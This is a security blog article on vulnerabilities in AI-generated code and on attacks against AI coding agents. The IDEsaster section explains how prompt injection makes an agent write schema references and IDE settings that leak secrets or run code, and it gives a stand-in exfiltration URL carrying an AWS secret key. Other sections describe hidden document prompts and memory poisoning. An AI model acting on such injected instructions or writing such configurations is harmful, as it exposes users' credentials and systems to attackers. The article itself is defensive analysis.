securityai-agentsai-codecybersecuritydevsecopszero-trust

AI Agents: The Hidden Risk in 45% of Generated Code

Tincho Fuentes··15 min read
AI Agents: The Hidden Risk in 45% of Generated Code

TL;DR:

  • 45% of AI-generated code contains critical vulnerabilities (SQL injection, exposed secrets, obsolete cryptography)
  • 80% of Fortune 500 companies use AI agents, but only 18% have tools to control them
  • 29% of employees use agents without IT approval, creating "shadow AI" with hidden risks
  • New attack vectors: prompt injection, API manipulation, "double agents", data poisoning
  • Solutions: Zero Trust, shift-left security, SAST in CI/CD, secure prompts, continuous training

The generative AI revolution in software development has arrived with a security bill that few are willing to pay. The numbers are stark: 90% of developers already use AI code assistants daily, and more than 80% of Fortune 500 companies have deployed AI agents in critical business processes. But according to recent research from Veracode, Checkmarx, and IBM, up to 45% of code generated by these systems contains critical vulnerabilities ranging from SQL injections to plaintext secret exposure.

This is not a hypothetical warning. It's a documented crisis happening right now in thousands of companies that adopted generative AI without considering the consequences.

The Silent Proliferation: 90% Adoption, 18% Control

GitHub Copilot, ChatGPT, Claude, Cursor, and dozens more tools have democratized automatic code generation. The benefits are undeniable: development speed, reduction of repetitive tasks, access to proven code patterns. But mass adoption has created a systemic security problem.

The data is clear:

  • 90% of developers use AI code assistants daily
  • 80% of Fortune 500 companies have AI agents deployed in production
  • 60% of companies admit using AI to generate code
  • Only 18% have active tools to control that code
  • 98% have suffered breaches linked to code vulnerabilities
  • 81% acknowledge having deployed "imperfect" code to production

The equation is simple: massive adoption + minimal control = exponential attack surface.

Anatomy of Vulnerabilities: What Fails in AI Code

Veracode's DORA 2025 report documents recurring failure patterns in code generated by language models. These aren't random errors; they're systematic patterns reflecting the limitations of these models' training.

Documented Vulnerabilities

1. Obsolete Cryptography Generative AI models tend to suggest hashing and encryption algorithms that have been considered insecure for years. MD5 and SHA-1 appear frequently in generated code, despite their cryptographic collisions making them useless for modern security applications.

2. Outdated Dependencies Generated code frequently includes libraries and frameworks with old versions containing known and documented CVE vulnerabilities. The model has no awareness of which versions are currently secure.

3. Inadequate Error Handling Try-catch blocks generated by AI often leak confidential information in error messages, exposing file paths, database names, and infrastructure details that facilitate system reconnaissance for attackers.

4. Hardcoded Secrets API tokens, passwords, private keys, and other secrets appear literally in source code. Models "learn" from public code containing these errors and replicate them without discrimination.

5. Insufficient Input Validation Lack of input sanitization is endemic. Generated code rarely implements robust validation against SQL injections, XSS, LDAP injection, and other OWASP Top 10 attack vectors.

6. Excessive Default Permissions Suggested access configurations grant broad permissions without applying the principle of least privilege. Databases, APIs, and cloud resources are left exposed with unnecessary administrative access.

A case documented by Checkmarx: 60% of companies using AI to generate code admitted not having active controls to detect these vulnerabilities before deployment.

Beyond Code: Agents as Attack Surface

But the problem doesn't end with generated code. The AI agents themselves—autonomous systems capable of planning tasks, accessing databases, invoking APIs, and executing actions without constant supervision—have become a new vector of enterprise attack.

IBM documents that agentic systems have an expanded attack surface: every call to an external API, every database query, every integrated tool is a potential compromise point.

Documented Attack Vectors

Prompt Injection An attacker introduces malicious commands into data processed by the agent. The agent, by literally interpreting these inputs, executes unauthorized actions. Researchers have demonstrated how PDF documents, emails, and even user interfaces can contain hidden prompts that manipulate agent behavior.

API and External Tool Manipulation If an agent has access to payment APIs, email services, or deployment tools, an attacker can exploit that integration to generate economic costs, exfiltrate data, or modify infrastructure.

Training Data Poisoning Agents that learn from interactions can be manipulated through inputs designed to corrupt their "memory" and modify future behaviors.

Credential Compromise Agents operate with digital identities (tokens, certificates, API keys). If those credentials are compromised, the attacker inherits all the agent's privileges.

Remote Code Execution (RCE) Vulnerabilities in the tools the agent uses can allow arbitrary code execution on the server hosting the agent.

Denial of Service Through Overload Requests designed to consume excessive resources can degrade or bring down the agent service, generating unavailability.

The aggravating factor: agents operate at machine speed and can coordinate with each other. A single compromised access can quickly amplify across multiple systems.

Shadow AI: The 29% Nobody Controls

One of the most concerning findings from recent studies is the phenomenon of "Shadow AI": agents deployed by employees without formal IT approval.

A global study revealed that 29% of employees use AI agents without authorization. This includes:

  • Agents that export corporate data to external cloud services
  • Scripts that copy sensitive information to "optimize" tasks
  • Unaudited integrations with third-party tools
  • Accidental backdoors in critical workflows

The problem is aggravated by the proliferation of low-code/no-code tools for building agents. More than 80% of companies use these platforms, but frequently omit essential controls:

  • Robust authentication
  • Permission limits
  • Action logging
  • Prompt review
  • Behavior audits

This rapid development without security foundation—known as "vibe coding"—generates agents with unpredictable behaviors and undocumented risks.

Real Cases: When Startups Learned the Hard Way

The risks are not theoretical. Three documented cases from 2025 show how irresponsible adoption of AI agents can destroy entire companies.

Enrichlead: The "Vibe Coding" Collapse

The Enrichlead case is perhaps the most brutal example of what happens when you build complex software without understanding what the AI is generating.

The founder of this lead generation startup publicly boasted on social media about building his entire platform using exclusively Cursor AI, claiming he hadn't written "a single line of manual code." The narrative was attractive: a non-technical entrepreneur building a functional SaaS in days, not months.

72 hours after public launch, everything collapsed.

Security researchers discovered the platform was riddled with elementary security flaws. The AI, prioritizing speed and functionality according to the founder's prompts, had implemented all authentication and authorization logic on the client side.

The impact was devastating:

  • Any user could open the browser console
  • Modify simple JavaScript values
  • Access premium paid features for free
  • Alter other customers' data
  • Exfiltrate sensitive information from the database

But the real problem wasn't the vulnerability itself, but the massive security debt accumulated: more than 15,000 lines of code the founder didn't understand and the AI couldn't coherently fix to an acceptable security standard.

The project had to be permanently cancelled. There was no way to salvage it. The startup shut down operations.

Technical Analysis of the Disaster

The Enrichlead case exemplifies three patterns documented by Veracode and Wiz:

Persistent OWASP vulnerabilities: 45% of AI-generated code contains classic OWASP Top-10 flaws, including SQL injections and Cross-Site Scripting (XSS).

Lack of input sanitization: Agents systematically omit user data cleaning, assuming an ideal rather than adversarial environment.

Dangerous functions for convenience: To solve problems quickly, agents suggest eval() to process user inputs, opening direct paths for arbitrary code execution.

Exposed secrets: 6.4% of repositories with GitHub Copilot contain hardcoded secrets (tokens, API keys)—a rate 40% higher than repositories without AI assistance.

OpenClaw/Moltbot: $16 Million Stolen in Autonomous Agent Disaster

In late 2025, OpenClaw (initially called Clawdbot, later Moltbot) became the most downloaded AI agent in history. It promised to be an "AI with hands" capable of managing emails, accessing Salesforce, GitHub, Slack, and even cloud infrastructure.

Its viral growth was fueled by integration with "Moltbook," a social network for AI agents where systems could communicate with each other. The concept was revolutionary. The execution was catastrophic.

💡 Related reading: For a complete technical analysis of this disaster, including details of the Supabase vulnerability and attack timeline, read our article Moltbook: Anatomy of a Security Disaster Foretold.

The "Lethal Trifecta" of Risk

OpenClaw fulfilled the three requirements of the "lethal triad" that security experts consider extremely dangerous:

  1. Access to private data: The agent had permissions to read corporate emails, local files, and manage critical service credentials
  2. Exposure to untrusted content: It browsed the web and processed social media messages where indirect injection attacks were hidden
  3. External communication capability: It could make API calls and send messages, enabling automated data exfiltration

The Critical Vulnerability

The disaster reached its peak when researchers discovered an authentication bypass vulnerability in the Moltbook platform. Attackers injected commands directly into the sessions of more than 770,000 active agents.

This meant attackers had a direct bridge to the local systems of thousands of software company employees. The agents, trusting Moltbook communications, executed malicious instructions without question.

The $16 Million Fraud

But the final blow didn't come from the technical vulnerability. A management error during the rebrand allowed scammers to hijack the organization's official Twitter handle for 10 critical seconds.

It was enough to launch a fraudulent cryptocurrency scheme that stole $16 million dollars from the community that trusted the project.

IDEsaster: 24 CVEs and the Fall of the "Secure"

The IDEsaster research, led by security researcher Ari Marzouk, exposed a conceptual flaw in the threat model of almost all AI-powered IDEs.

The problem: tools assume the base functions of VS Code, JetBrains, and other IDEs are intrinsically secure because they've existed for years. But when an AI agent acquires the ability to manipulate these functions autonomously, legitimate features transform into primitives for RCE and data exfiltration.

Documented Impact:

  • More than 30 vulnerabilities identified
  • 24 CVE identifiers assigned
  • Affected products: GitHub Copilot, Cursor, Windsurf, Zed.dev, Roo Code, JetBrains Junie

Real Attack Vectors:

Exfiltration via Remote JSON Schemas: An attacker uses prompt injection to make the agent write a .json file pointing to a schema on a malicious domain. The IDE, when validating the file, automatically makes a GET request including sensitive data as query parameters: https://attacker.com/schema?data=AWS_SECRET_KEY

Configuration Overwrite for RCE: The agent is manipulated to modify .vscode/settings.json and alter validation executable paths (like php.validate.executablePath) to point to malicious scripts. When the user opens a file of the affected language, the IDE executes the malicious binary in the user's security context.

The severity: IDEsaster is application-agnostic. It affects any AI assistant that integrates with vulnerable IDEs, underscoring the need for a new "Secure for AI" paradigm.

Emerging Threats: Double Agents and Deepfakes

Microsoft researchers have documented the concept of "double agent": an AI assistant designed to help that, after receiving malicious or confusing instructions, ends up acting against the company's interests.

Documented Real Scenarios

Case 1: Agent with Excessive Permissions An agent with access to customer database receives a manipulated prompt instructing it to export records. Without adequate permission limits, it complies with the request, exfiltrating sensitive data.

Case 2: Prompt Engineering in Documents An attacker sends a PDF document with hidden instructions in metadata. When the agent processes the document to summarize it, it executes hidden commands that reveal confidential information or modify configurations.

Case 3: Memory Poisoning A conversational agent is repeatedly fed false information until it "learns" incorrect responses that favor the attacker in future interactions.

In parallel, it's expected that attackers will use generative AI to:

  • Automate polymorphic malware creation
  • Generate deepfakes for social engineering campaigns
  • Scale hyperpersonalized phishing to industrial levels
  • Create bots that mimic human behavior to evade detection

The unpredictability of complex model inference complicates traditional defenses. It's impossible to exhaustively enumerate all possible actions of an autonomous agent.

Changes in Security Frameworks: Zero Trust for Agents

The industry is already responding. Organizations like Microsoft, Okta, OWASP, and OpenSSF have published specific frameworks for AI agent security.

Fundamental Principles

Identity Security and Zero Trust Each agent must have a unique identity (tokens, digital certificates) with minimum necessary permissions. Access must be continuously verified, assuming any identity can be compromised at any time.

Microsoft and Okta recommend treating agents at the same level as human service accounts, applying:

  • Least privilege
  • Multi-factor authentication where possible
  • Constant activity monitoring
  • Immediate revocation upon anomalous behavior

Shift-Left Security Integrate security in early development stages. Static (SAST) and dynamic (DAST) analysis tools must inspect all code—human or AI-generated—from creation, not at the end of the cycle.

DevSecOps for AI Extend DevSecOps practices to include:

  • Generated code audits
  • Data flow tokenization
  • Agent sandboxing in development
  • Mandatory critical code review
  • Non-human identity lifecycle management

Observability and Governance Exhaustive logging of all agent actions: which APIs they invoke, what data they access, what changes they make. Real-time monitoring dashboards to detect anomalous behaviors.

OWASP and OpenSSF have published guides for:

  • Formulating secure prompts
  • Evaluating AI-generated code
  • Training developers in agent-specific risks

Practical Recommendations: What to Do Now

Based on documented research, these are concrete actions companies must implement immediately:

1. Integrate SAST in CI/CD

Automate security scanning of all code with tools like SonarQube, Snyk, Checkmarx, or Semgrep. Configure the pipeline to automatically reject code containing:

  • Exposed secrets
  • SQL/XSS injections
  • Obsolete cryptography
  • Dependencies with known CVEs

2. AI-Focused Code Review

Establish code review processes where reviewers know typical AI model failure patterns. Create specific checklists for generated code:

  • Does it validate all inputs?
  • Does it use modern cryptographic algorithms?
  • Does it handle errors without leaking information?
  • Does it apply least privilege principle?
  • Does it contain hardcoded secrets?

3. Standardized Security Prompts

Create request templates that include explicit security requirements. Instead of "create login function", use:

"Create secure login function that uses bcrypt for hashing, validates all inputs against injections, limits failed attempts, and logs accesses in audited log."

This significantly improves generated code quality.

4. Continuous Training

Train developers and IT teams in AI-specific risks:

  • Free OpenSSF courses (LFEL1012)
  • Agent security workshops
  • OWASP AI guidelines dissemination
  • Prompt injection attack simulations

5. Clear Organizational Policies

Define internal guidelines on code agent use:

  • Who can use them and in which projects
  • What minimum controls are required
  • Mandatory reviews for critical code
  • Restriction of agents with broad permissions
  • Detection and approval of all new agents (anti-shadow AI)

6. Implement Zero Trust for Agents

Each agent must have:

  • Unique identity with rotatable credentials
  • Minimum permissions necessary for its function
  • Continuous activity monitoring
  • Audit of all actions
  • Immediate revocation capability

7. Non-Human Identity Management

It's projected that by 2025 there will be tens of billions of non-human identities in enterprise use. Implement specific management systems:

  • Inventory of all active agents
  • Classification by privilege level
  • Periodic credential renewal
  • Compromised credential detection

The AI Paradox: Double-Edged Sword

AI technology is transforming security in two simultaneous directions. On one hand, it empowers defenses: automates code reviews, detects anomalies, responds to incidents at machine speed. On the other, it empowers offenses: allows attackers to scale their attacks with the same technology.

There's already documented evidence of attackers using generative AI to:

  • Automate system reconnaissance
  • Generate malware variants that evade signatures
  • Create hyperpersonalized phishing campaigns
  • Accelerate zero-day vulnerability searches

The development of automated cyberdefenses with AI agents is expected: systems that monitor infrastructure, detect anomalies, and respond to incidents without human intervention. But this also means that cyber warfare will increasingly be fought at machine speed, where milliseconds of difference determine whether an attack is contained or propagates.

Conclusion: Security by Design

Adoption of AI agents for code generation is irreversible. The productivity they offer is too valuable. But security cannot be an afterthought.

The data is clear:

  • 45% of generated code has critical vulnerabilities
  • 98% of companies have suffered breaches linked to vulnerable code
  • 29% of employees use agents without authorization
  • Only 18% of companies have active controls

The solution is not to abandon AI. The solution is integrate security from design: Zero Trust for agent identities, shift-left security in pipelines, continuous team training, and clear organizational governance.

In the words of specialists consulted for this research: AI is a double-edged coin in cybersecurity. Those who integrate protection from design—at the level of identity, permissions, and code validation—will be better prepared to defend against threats using that same technology.

The time to act is now. Every day that passes without controls is one more day of exposure.

Tincho Fuentes Tech journalist and investigative researcher 🚀

Sources